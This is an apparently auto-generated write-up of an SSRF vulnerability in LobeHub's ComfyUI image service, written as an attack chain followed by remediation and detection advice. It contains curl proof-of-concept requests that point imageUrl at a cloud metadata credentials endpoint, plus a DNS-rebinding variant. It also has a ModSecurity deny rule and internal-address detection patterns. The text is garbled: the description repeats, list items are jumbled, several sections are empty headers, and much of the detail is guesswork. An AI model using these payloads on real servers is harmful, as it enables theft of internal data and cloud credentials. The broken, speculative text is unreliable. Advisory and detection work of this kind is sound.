CVE-2026-142235 — CWE-918
LobeHub before 2.3.6 contains a server-side request forgery vulnerability in the ComfyUI image service processImageFetch function that allows authenticated users with file:upload permission to send server requests by supplying a crafted imageUrl. Attackers can call the comfyui.createImage tRPC procedure to make GET requests to loopback, private network, and cloud metadata addresses, reading back responses that are valid images.
LobeHub before 2.3.6 contains a server-side request forgery vulnerability in the ComfyUI image service processImageFetch function that allows authenticated users with file:upload permission to send server requests by supplying a crafted imageUrl. Attackers can call the comfyui.createImage tRPC procedure to make GET requests to loopback, private network, and cloud metadata addresses, reading back responses that are valid images.
🎯 What is this vulnerability?
CVE-2026-142235 is a Server-Side Request Forgery (SSRF) vulnerability (CWE-918) in LobeHub versions prior to 2.3.6.
The technical flaw resides in the processImageFetch function within the ComfyUI image service. The application fails to properly validate the imageUrl parameter supplied by the user before initiating a server-side HTTP GET request. Specifically, the validation logic likely only checks for standard public HTTP/HTTPS schemes or relies on a flawed allowlist that fails to block:
1. Loopback addresses (127.0.0.1, localhost, ::1).
2. Private IP ranges (RFC 1918: 10.x.x.x, 172.16.x.x–172.31.x.x, 192.168.x.x).
3. Cloud Metadata Service endpoints (e.g., 169.254.169.254 for AWS, GCP, Azure).
The vulnerability is authenticated (PR:L), requiring a user with the file:upload permission. The impact is limited to Confidentiality (C:L) because the application only returns data if the response is a valid image. This means an attacker cannot directly read arbitrary text files or source code, but can exfiltrate data by encoding sensitive information into image formats (e.g., PNG metadata, pixel data) or by accessing internal services that return image-based responses (e.g., internal dashboards, health checks returning images, or specific API endpoints that return base64-encoded data in image containers).
Key Technical Detail: The use of tRPC (comfyui.createImage) implies the request is sent via a JSON-RPC-like protocol over HTTP, likely to an endpoint such as /api/trpc/comfyui.createImage. The imageUrl field in the request body is the injection point.
⚡ Attack Chain
1. Discovery & Reconnaissance
- Fingerprinting: Identify LobeHub instances. Look for specific headers, UI elements, or API endpoints unique to LobeHub.
- Version Check: Determine if the version is < 2.3.6. This can be done via: * Checking the
- Authentication: Obtain valid credentials for a user with
file:uploadpermission. This could be via:
* Social engineering or credential stuffing.
* A compromised low-privilege account.
* An API key with sufficient scope.
X-Powered-By header or version-specific assets.
* Querying the tRPC router for version info (if exposed).
* Attempting to exploit known version-specific bugs.
2. Exploitation
The attacker crafts a tRPC request to thecomfyui.createImage procedure, supplying a malicious imageUrl that points to an internal resource.Illustrative PoC (curl):
Note: The exact tRPC endpoint path and payload structure are illustrative based on common tRPC patterns. The CVE description confirms the procedure name comfyui.createImage and the parameter imageUrl.
# Example: Attempting to access AWS Metadata Service
# The attacker expects the server to fetch http://169.254.169.254/latest/meta-data/iam/security-credentials/
# However, since the response must be a valid image, this direct attempt may fail unless the internal service returns an image.
# A more likely target is an internal service that returns an image, or using a technique to exfiltrate data via image metadata.
curl -X POST "https://<target-labhub-instance>/api/trpc/comfyui.createImage" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <valid_user_token>" \
-d '{
"json": {
"imageUrl": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"width": 1024,
"height": 1024
}
}'Refined Exploitation Strategy for Data Exfiltration:
Since the response must be a valid image, direct SSRF to text-based endpoints (like metadata) will likely fail or return an error. The attacker must target:
1. Internal Image Services: Access internal dashboards, monitoring tools (e.g., Grafana, Prometheus) that render charts as images.
2. Data Encoding: If the internal service allows URL parameters, the attacker might encode sensitive data into the URL and have the server fetch it, but the response must be an image. This is tricky.
3. Blind SSRF with Image Validation Bypass: Some SSRF filters check the Content-Type of the response. If the internal service returns image/png but contains sensitive data in the pixel values or metadata, the attacker can decode it.
4. DNS Rebinding: Use a DNS rebinding attack to bypass IP-based filters. The attacker registers a domain that resolves to a public IP initially, then to an internal IP (e.g., 127.0.0.1) on subsequent requests. The server fetches the URL, the DNS resolves to the internal IP, and the server sends the request internally.
Example of DNS Rebinding PoC (Conceptual):
# Using a DNS rebinding service (e.g., rebinding.io)
# The domain "rebind.example.com" resolves to 8.8.8.8 first, then 127.0.0.1
curl -X POST "https://<target-labhub-instance>/api/trpc/comfyui.createImage" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <valid_user_token>" \
-d '{
"json": {
"imageUrl": "http://rebind.example.com/internal-secret-image.png",
"width": 1024,
"height": 1024
}
}'3. Post-Exploitation
🌍 Real World Impact
🛡️ Remediation & Mitigation
1. Upgrade
imageUrl parameter to block private IP ranges, loopback addresses, and metadata endpoints.
* Use of a secure URL parser that resolves DNS and checks the IP address before making the request.
* Implementation of an allowlist for external domains.2. Workarounds (If Immediate Upgrade is Not Possible)
file:upload Permission: Limit the file:upload permission to trusted users only.comfyui.createImage tRPC endpoint if the imageUrl parameter contains private IP ranges or metadata endpoints.Example ModSecurity Rule (Illustrative):
# Block SSRF attempts in LobeHub ComfyUI image service
SecRule REQUEST_URI "@contains /api/trpc/comfyui.createImage" \
"id:100001,phase:2,log,pass"
SecRule JSON:json.imageUrl "@rx ^http://(127\.0\.0\.1|localhost|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[0-1])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|169\.254\.169\.254)" \
"id:100002,phase:2,log,deny,status:403,msg:'SSRF attempt detected in LobeHub ComfyUI'"3. Detection
/api/trpc/comfyui.createImage with imageUrl parameters containing:127.0.0.1, localhost, ::1
* 10.x.x.x, 172.16.x.x–172.31.x.x, 192.168.x.x
* 169.254.169.254
* Unusual domain names that resolve to internal IPs (DNS rebinding).
Example Log Pattern (Apache/Nginx):
POST /api/trpc/comfyui.createImage HTTP/1.1
Content-Type: application/json
{"json":{"imageUrl":"http://169.254.169.254/latest/meta-data/","width":1024,"height":1024}}